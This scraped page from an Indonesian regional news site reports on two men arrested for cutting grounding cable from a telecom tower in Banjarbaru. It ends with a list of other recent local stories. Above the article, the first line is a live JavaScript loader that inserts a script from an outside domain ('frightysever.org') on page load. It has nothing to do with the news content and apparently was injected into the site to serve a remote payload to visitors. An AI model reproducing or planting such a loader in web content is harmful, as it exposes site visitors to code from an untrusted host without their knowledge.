(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Potong Kabel BTS di Guntung Manggis, Dua Laki-laki Ditangkap Polisi


KANALKALIMANTAN.COM, BANJARBARU – Dua laki-laki spesialis pencuri kabel di Base Transceiver Station (BTS) diringkus aparat Polsek Banjarbaru Barat. Aksi dua pengutil di tower telekomunikasi itu terjadi pada Kamis (9/9/2021) di Jalan Karang Rejo, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.

Pelaku beraksi sekitar pukul 23.00 Wita, ketika pelaku beraksi pada waktu tersebut kedapatan salah seorang saksi. Setelah itu kedua pelaku diamankan saat melakukan pencurian kabel di BTS tersebut.

M Dian Azmi (23) langsung melaporkan kejadian tersebut ke pihak pimpinan perusahan, karena pihak perusahan mengalami kerugian akibat pencurian tersebut sebesar Rp 1 juta.

Kapolsek Banjarbaru Barat, AKP Yuda Kumoro Pardede melalu Kasi Humas Polsek Banjarbaru Barat, Iptu Kardi Gunadi, membenarkan tentang kejadian tersebut.

 

Baca juga : Satu Keluarga Tewas Tertimbun Pakaian di Banjarmasin, Polisi Sebut Murni Kecelakaan

“Pelaku kami amankan di Mapolsek Banjarbaru Barat, dari keterangan kedua pelaku mereka mengakui pencurian tersebut dengan cara memotong kabel,” kata Ipyu Kardi Gunadi.

Pelaku diamankan ke Mapolsek Banjarbaru Barat pada hari Jumat (10/9/2021) pukul 01.00 Wita oleh Tim Reskrim Polsek Banjarbaru Barat.

Identitas kedua pelaku tersebut AR (31), warga jalan Martapur Lama Km 14,500, RT 001, Kelurahan Sungai Tabuk, Kabupaten Banjar. Pelaku kedua S (31), warga jalan Pangeran Antasari RT 004 RW 001, Kelurahan Tirta Jaya, Kecamatan Bajuin, Kabupaten Tanah Laut.

Barang bukti yang berhasil diamankan satu buah kabel grounding dengan panjang sekitar 4 meter, satu unit sepeda motordan beberapa jenis tang yang digunakan pelaku kala beraksi.

“Pelaku tindak pidana akan dijatuhi dengan pemberatan sebagaimana yang dimaksud dalam pasal 363 ayat 1 ke 4 dan ke 5 KUHPidana,” tutupnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

65 Kg Sabu dan 12 Ribu Butir Ekstasi Jaringan Fredy Pratama Dimusnahkan

KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More

6 jam ago

Tunggu Keluarga, Jasad Lelaki Tak Bernyawa Disimpan di Kamar Jenazah RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More

6 jam ago

Kenal Pamit Kapolres Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More

8 jam ago

Tak Beridentitas, Jasad Lelaki Didapati Membiru di Landasan Ulin Tengah

KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More

13 jam ago

Parkir Sembarangan Sekitar Taman Van der Pijl, Siap-siap Kena Derek!

KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More

13 jam ago

Ombudsman Kalsel Terima 235 Aduan di 2024, Ini Sektor Paling Banyak Dilaporkan

KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More

14 jam ago

This website uses cookies.